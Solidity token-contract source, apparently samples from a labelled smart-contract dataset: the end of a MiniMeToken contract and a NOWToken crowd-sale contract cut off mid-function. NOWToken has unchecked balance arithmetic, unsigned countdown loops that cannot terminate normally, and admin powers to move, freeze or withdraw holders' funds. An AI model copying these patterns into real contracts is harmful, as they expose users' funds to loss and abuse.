uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public
{
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(ITokenController(controller).onTransfer(_from, _to, _amount) == true);
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true);
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address)
{
uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
snapshot,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), snapshot);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable public {
require(isContract(controller));
require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true);
}
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken)
{
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
} | 1 | 4,831 |
pragma solidity ^0.4.24;
contract Z_ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Z_ERC20 is Z_ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Z_BasicToken is Z_ERC20Basic {
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Z_StandardToken is Z_ERC20, Z_BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function transferFromByAdmin(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender] + (_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - (_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Z_Ownable {
address public owner;
mapping (address => bool) internal admin_accounts;
constructor() public {
owner = msg.sender;
admin_accounts[msg.sender]= true;
}
modifier onlyOwner() {
require(msg.sender == owner );
_;
}
function isOwner() internal view returns (bool) {
return (msg.sender == owner );
}
modifier onlyAdmin() {
require (admin_accounts[msg.sender]==true);
_;
}
function isAdmin() internal view returns (bool) {
return (admin_accounts[msg.sender]==true);
}
}
contract NOWToken is Z_StandardToken, Z_Ownable {
string public constant name = "NOW Token";
string public constant symbol = "NOW";
uint8 public constant decimals = 18;
uint256 internal constant _totalTokenAmount = 3 * (10 ** 9) * (10 ** 18);
uint256 internal constant WEI_PER_ETHER= 1000000000000000000;
uint256 internal constant NUM_OF_SALE_STAGES= 5;
enum Sale_Status {
Initialized_STATUS,
Stage0_Sale_Started_STATUS,
Stage0_Sale_Stopped_STATUS,
Stage1_Sale_Started_STATUS,
Stage1_Sale_Stopped_STATUS,
Stage2_Sale_Started_STATUS,
Stage2_Sale_Stopped_STATUS,
Stage3_Sale_Started_STATUS,
Stage3_Sale_Stopped_STATUS,
Stage4_Sale_Started_STATUS,
Stage4_Sale_Stopped_STATUS,
Public_Allowed_To_Trade_STATUS,
Stage0_Allowed_To_Trade_STATUS,
Closed_STATUS
}
Sale_Status public sale_status= Sale_Status.Initialized_STATUS;
uint256 public sale_stage_index= 0;
uint256 public when_initialized= 0;
uint256 public when_public_allowed_to_trade_started= 0;
uint256 public when_stage0_allowed_to_trade_started= 0;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_started;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_stopped;
uint256 public sold_tokens_total= 0;
uint256 public raised_ethers_total= 0;
uint256[NUM_OF_SALE_STAGES] public sold_tokens_per_stage;
uint256[NUM_OF_SALE_STAGES] public raised_ethers_per_stage;
uint256[NUM_OF_SALE_STAGES] public target_ethers_per_stage= [
1000 * WEI_PER_ETHER,
9882 * WEI_PER_ETHER,
11454 * WEI_PER_ETHER,
11200 * WEI_PER_ETHER,
11667 * WEI_PER_ETHER
];
uint256[NUM_OF_SALE_STAGES] internal sale_price_per_stage_wei_per_now = [
uint256(1000000000000000000/ uint256(100000)),
uint256(1000000000000000000/ uint256(38000)),
uint256(1000000000000000000/ uint256(23000)),
uint256(1000000000000000000/ uint256(17000)),
uint256(1000000000000000000/ uint256(10000))
];
struct history_token_sale_obj {
address _buyer;
uint256 _ether_value;
uint256 _token_value;
uint256 _when;
}
struct history_token_transfer_obj {
address _from;
address _to;
uint256 _token_value;
uint256 _when;
}
struct history_token_burning_obj {
address _from;
uint256 _token_value_burned;
uint256 _when;
}
history_token_sale_obj[] internal history_token_sale_stage0;
history_token_sale_obj[] internal history_token_sale_stage1;
history_token_sale_obj[] internal history_token_sale_stage2;
history_token_sale_obj[] internal history_token_sale_stage3;
history_token_sale_obj[] internal history_token_sale_stage4;
history_token_transfer_obj[] internal history_token_transfer;
history_token_burning_obj[] internal history_token_burning;
mapping (address => uint256) internal sale_amount_stage0_account;
mapping (address => uint256) internal sale_amount_stage1_account;
mapping (address => uint256) internal sale_amount_stage2_account;
mapping (address => uint256) internal sale_amount_stage3_account;
mapping (address => uint256) internal sale_amount_stage4_account;
mapping (address => uint256) internal holders_received_accumul;
address[] public holders;
address[] public holders_stage0_sale;
address[] public holders_stage1_sale;
address[] public holders_stage2_sale;
address[] public holders_stage3_sale;
address[] public holders_stage4_sale;
address[] public holders_trading;
address[] public holders_burned;
address[] public holders_frozen;
mapping (address => uint256) public burned_amount;
uint256 public totalBurned= 0;
uint256 public totalEtherWithdrawed= 0;
mapping (address => uint256) internal account_frozen_time;
mapping (address => mapping (string => uint256)) internal traded_monthly;
address[] public cryptocurrency_exchange_company_accounts;
event AddNewAdministrator(address indexed _admin, uint256 indexed _when);
event RemoveAdministrator(address indexed _admin, uint256 indexed _when);
function z_admin_add_admin(address _newAdmin) public onlyOwner {
require(_newAdmin != address(0));
admin_accounts[_newAdmin]=true;
emit AddNewAdministrator(_newAdmin, block.timestamp);
}
function z_admin_remove_admin(address _oldAdmin) public onlyOwner {
require(_oldAdmin != address(0));
require(admin_accounts[_oldAdmin]==true);
admin_accounts[_oldAdmin]=false;
emit RemoveAdministrator(_oldAdmin, block.timestamp);
}
event AddNewExchangeAccount(address indexed _exchange_account, uint256 indexed _when);
function z_admin_add_exchange(address _exchange_account) public onlyAdmin {
require(_exchange_account != address(0));
cryptocurrency_exchange_company_accounts.push(_exchange_account);
emit AddNewExchangeAccount(_exchange_account, block.timestamp);
}
event SaleTokenPriceSet(uint256 _stage_index, uint256 _wei_per_now_value, uint256 indexed _when);
function z_admin_set_sale_price(uint256 _how_many_wei_per_now) public
onlyAdmin
{
if(_how_many_wei_per_now == 0) revert();
if(sale_stage_index >= 5) revert();
sale_price_per_stage_wei_per_now[sale_stage_index] = _how_many_wei_per_now;
emit SaleTokenPriceSet(sale_stage_index, _how_many_wei_per_now, block.timestamp);
}
function CurrentSalePrice() public view returns (uint256 _sale_price, uint256 _current_sale_stage_index) {
if(sale_stage_index >= 5) revert();
_current_sale_stage_index= sale_stage_index;
_sale_price= sale_price_per_stage_wei_per_now[sale_stage_index];
}
event InitializedStage(uint256 indexed _when);
event StartStage0TokenSale(uint256 indexed _when);
event StartStage1TokenSale(uint256 indexed _when);
event StartStage2TokenSale(uint256 indexed _when);
event StartStage3TokenSale(uint256 indexed _when);
event StartStage4TokenSale(uint256 indexed _when);
function start_StageN_Sale(uint256 _new_sale_stage_index) internal
{
if(sale_status==Sale_Status.Initialized_STATUS || sale_stage_index+1<= _new_sale_stage_index)
sale_stage_index= _new_sale_stage_index;
else
revert();
sale_status= Sale_Status(1 + sale_stage_index * 2);
when_stageN_sale_started[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StartStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StartStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StartStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StartStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StartStage4TokenSale(block.timestamp);
}
event StopStage0TokenSale(uint256 indexed _when);
event StopStage1TokenSale(uint256 indexed _when);
event StopStage2TokenSale(uint256 indexed _when);
event StopStage3TokenSale(uint256 indexed _when);
event StopStage4TokenSale(uint256 indexed _when);
function stop_StageN_Sale(uint256 _old_sale_stage_index) internal
{
if(sale_stage_index != _old_sale_stage_index)
revert();
sale_status= Sale_Status(2 + sale_stage_index * 2);
when_stageN_sale_stopped[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StopStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StopStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StopStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StopStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StopStage4TokenSale(block.timestamp);
}
event StartTradePublicSaleTokens(uint256 indexed _when);
function start_Public_Trade() internal
onlyAdmin
{
Sale_Status new_sale_status= Sale_Status(2 + sale_stage_index * 2);
if(new_sale_status > sale_status)
stop_StageN_Sale(sale_stage_index);
sale_status= Sale_Status.Public_Allowed_To_Trade_STATUS;
when_public_allowed_to_trade_started= block.timestamp;
emit StartTradePublicSaleTokens(block.timestamp);
}
event StartTradeStage0SaleTokens(uint256 indexed _when);
function start_Stage0_Trade() internal
onlyAdmin
{
if(sale_status!= Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
uint32 stage0_locked_year= 1;
bool is_debug= false;
if(is_debug==false && block.timestamp < stage0_locked_year*365*24*60*60
+ when_public_allowed_to_trade_started )
revert();
if(is_debug==true && block.timestamp < stage0_locked_year*10*60
+ when_public_allowed_to_trade_started )
revert();
sale_status= Sale_Status.Stage0_Allowed_To_Trade_STATUS;
when_stage0_allowed_to_trade_started= block.timestamp;
emit StartTradeStage0SaleTokens(block.timestamp);
}
event CreateTokenContract(uint256 indexed _when);
constructor() public
{
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
sale_status= Sale_Status.Initialized_STATUS;
sale_stage_index= 0;
when_initialized= block.timestamp;
holders.push(msg.sender);
holders_received_accumul[msg.sender] += _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
emit InitializedStage(block.timestamp);
emit CreateTokenContract(block.timestamp);
}
modifier validTransaction( address _from, address _to, uint256 _value)
{
require(_to != address(0x0));
require(_to != _from);
require(_value > 0);
if(isAdmin()==false) {
if(account_frozen_time[_from] > 0) revert();
if(_value == 0 ) revert();
if(sale_status < Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
if( sale_amount_stage0_account[_from] > 0 ) {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS)
revert();
} else {
}
}
_;
}
event TransferToken(address indexed _from_whom,address indexed _to_whom,
uint _token_value, uint256 indexed _when);
event TransferTokenFrom(address indexed _from_whom,address indexed _to_whom, address _agent,
uint _token_value, uint256 indexed _when);
event TransferTokenFromByAdmin(address indexed _from_whom,address indexed _to_whom, address _admin,
uint _token_value, uint256 indexed _when);
function transfer(address _to, uint _value) public
validTransaction(msg.sender, _to, _value)
returns (bool _success)
{
_success= super.transfer(_to, _value);
if(_success==false) revert();
emit TransferToken(msg.sender,_to,_value,block.timestamp);
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: msg.sender,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
function transferFrom(address _from, address _to, uint _value) public
validTransaction(_from, _to, _value)
returns (bool _success)
{
if(isAdmin()==true) {
emit TransferTokenFromByAdmin(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFromByAdmin(_from,_to, _value);
}
else {
emit TransferTokenFrom(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFrom(_from, _to, _value);
}
if(_success==false) revert();
if(holders_received_accumul[_to]==0x0) {
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
history_token_transfer.push( history_token_transfer_obj( {
_from: _from,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
event IssueTokenSale(address indexed _buyer, uint _ether_value, uint _token_value,
uint _exchange_rate_now_per_wei, uint256 indexed _when);
function () public payable {
buy();
}
event NewHolderTrading(address indexed _new_comer, uint256 indexed _when);
event NewHolderSale(address indexed _new_comer, uint256 indexed _when);
function buy() public payable {
if(sale_status < Sale_Status.Stage0_Sale_Started_STATUS)
revert();
if(sale_status > Sale_Status.Stage4_Sale_Stopped_STATUS)
revert();
if((uint256(sale_status)%2)!=1) revert();
if(isAdmin()==true) revert();
uint256 tokens;
uint256 wei_per_now= sale_price_per_stage_wei_per_now[sale_stage_index];
if (msg.value < wei_per_now) revert();
tokens = uint256( msg.value / wei_per_now );
if (tokens + sold_tokens_total > totalSupply) revert();
if(sale_stage_index==0) sale_amount_stage0_account[msg.sender] += tokens; else
if(sale_stage_index==1) sale_amount_stage1_account[msg.sender] += tokens; else
if(sale_stage_index==2) sale_amount_stage2_account[msg.sender] += tokens; else
if(sale_stage_index==3) sale_amount_stage3_account[msg.sender] += tokens; else
if(sale_stage_index==4) sale_amount_stage4_account[msg.sender] += tokens;
sold_tokens_per_stage[sale_stage_index] += tokens;
sold_tokens_total += tokens;
raised_ethers_per_stage[sale_stage_index] += msg.value;
raised_ethers_total += msg.value;
super.transferFromByAdmin(owner, msg.sender, tokens);
if(holders_received_accumul[msg.sender]==0x0) {
holders.push(msg.sender);
if(sale_stage_index==0) holders_stage0_sale.push(msg.sender); else
if(sale_stage_index==1) holders_stage1_sale.push(msg.sender); else
if(sale_stage_index==2) holders_stage2_sale.push(msg.sender); else
if(sale_stage_index==3) holders_stage3_sale.push(msg.sender); else
if(sale_stage_index==4) holders_stage4_sale.push(msg.sender);
emit NewHolderSale(msg.sender, block.timestamp);
}
holders_received_accumul[msg.sender] += tokens;
history_token_sale_obj memory history = history_token_sale_obj( {
_buyer: msg.sender,
_ether_value: msg.value,
_token_value: tokens,
_when: block.timestamp
} );
if(sale_stage_index==0) history_token_sale_stage0.push( history ); else
if(sale_stage_index==1) history_token_sale_stage1.push( history ); else
if(sale_stage_index==2) history_token_sale_stage2.push( history ); else
if(sale_stage_index==3) history_token_sale_stage3.push( history ); else
if(sale_stage_index==4) history_token_sale_stage4.push( history );
emit IssueTokenSale(msg.sender, msg.value, tokens, wei_per_now, block.timestamp);
if( target_ethers_per_stage[sale_stage_index] <= raised_ethers_per_stage[sale_stage_index])
stop_StageN_Sale(sale_stage_index);
}
event FreezeAccount(address indexed _account_to_freeze, uint256 indexed _when);
event UnfreezeAccount(address indexed _account_to_unfreeze, uint256 indexed _when);
function z_admin_freeze(address _account_to_freeze) public onlyAdmin {
account_frozen_time[_account_to_freeze]= block.timestamp;
holders_frozen.push(_account_to_freeze);
emit FreezeAccount(_account_to_freeze,block.timestamp);
}
function z_admin_unfreeze(address _account_to_unfreeze) public onlyAdmin {
account_frozen_time[_account_to_unfreeze]= 0;
emit UnfreezeAccount(_account_to_unfreeze,block.timestamp);
}
event CloseTokenContract(uint256 indexed _when);
function closeContract() onlyAdmin internal {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS) revert();
if(totalSupply > 0) revert();
address ScAddress = this;
emit CloseTokenContract(block.timestamp);
emit WithdrawEther(owner,ScAddress.balance,block.timestamp);
selfdestruct(owner);
}
function ContractEtherBalance() public view
returns (
uint256 _current_ether_balance,
uint256 _ethers_withdrawn,
uint256 _ethers_raised_total
) {
_current_ether_balance= address(this).balance;
_ethers_withdrawn= totalEtherWithdrawed;
_ethers_raised_total= raised_ethers_total;
}
event WithdrawEther(address indexed _addr, uint256 _value, uint256 indexed _when);
function z_admin_withdraw_ether(uint256 _withdraw_wei_value) onlyAdmin public {
address ScAddress = this;
if(_withdraw_wei_value > ScAddress.balance) revert();
if(owner.send(_withdraw_wei_value)==false) revert();
totalEtherWithdrawed += _withdraw_wei_value;
emit WithdrawEther(owner,_withdraw_wei_value,block.timestamp);
}
function list_active_holders_and_balances(uint _max_num_of_items_to_display) public view
returns (uint _num_of_active_holders,address[] _active_holders,uint[] _token_balances){
uint len = holders.length;
_num_of_active_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( balances[ holders[i] ] != 0x0) _num_of_active_holders++;
if(_max_num_of_items_to_display == _num_of_active_holders) break;
}
_active_holders = new address[](_num_of_active_holders);
_token_balances = new uint[](_num_of_active_holders);
uint num=0;
for (uint j = len-1 ; j >= 0 && _num_of_active_holders > num ; j--) {
address addr = holders[j];
if( balances[ addr ] == 0x0) continue;
_active_holders[num] = addr;
_token_balances[num] = balances[addr];
num++;
}
}
function list_history_of_stage0_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage0.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage0[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage1_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage1.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage1[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage2_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage2.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage2[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage3_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage3.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage3[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_stage4_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage4.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage4[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_token_transfer(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_senders = new address[](n);
_receivers = new address[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_transfer_obj storage obj= history_token_transfer[j];
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_history_of_token_transfer_filtered_by_addr(address _addr) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint _max_num_of_items_to_display= 0;
history_token_transfer_obj storage obj= history_token_transfer[0];
uint j;
for (j = len-1 ; j >= 0 ; j--) {
obj= history_token_transfer[j];
if(obj._from== _addr || obj._to== _addr) _max_num_of_items_to_display++;
}
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
_senders = new address[](_max_num_of_items_to_display);
_receivers = new address[](_max_num_of_items_to_display);
_tokens = new uint[](_max_num_of_items_to_display);
_whens = new uint[](_max_num_of_items_to_display);
_num=0;
for (j = len-1 ; j >= 0 && _max_num_of_items_to_display > _num ; j--) {
obj= history_token_transfer[j];
if(obj._from!= _addr && obj._to!= _addr) continue;
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
function list_frozen_accounts(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _frozen_holders,uint[] _whens){
uint len = holders_frozen.length;
uint num_of_frozen_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( account_frozen_time[ holders_frozen[i] ] > 0x0) num_of_frozen_holders++;
if(_max_num_of_items_to_display == num_of_frozen_holders) break;
}
_frozen_holders = new address[](num_of_frozen_holders);
_whens = new uint[](num_of_frozen_holders);
_num=0;
for (uint j = len-1 ; j >= 0 && num_of_frozen_holders > _num ; j--) {
address addr= holders_frozen[j];
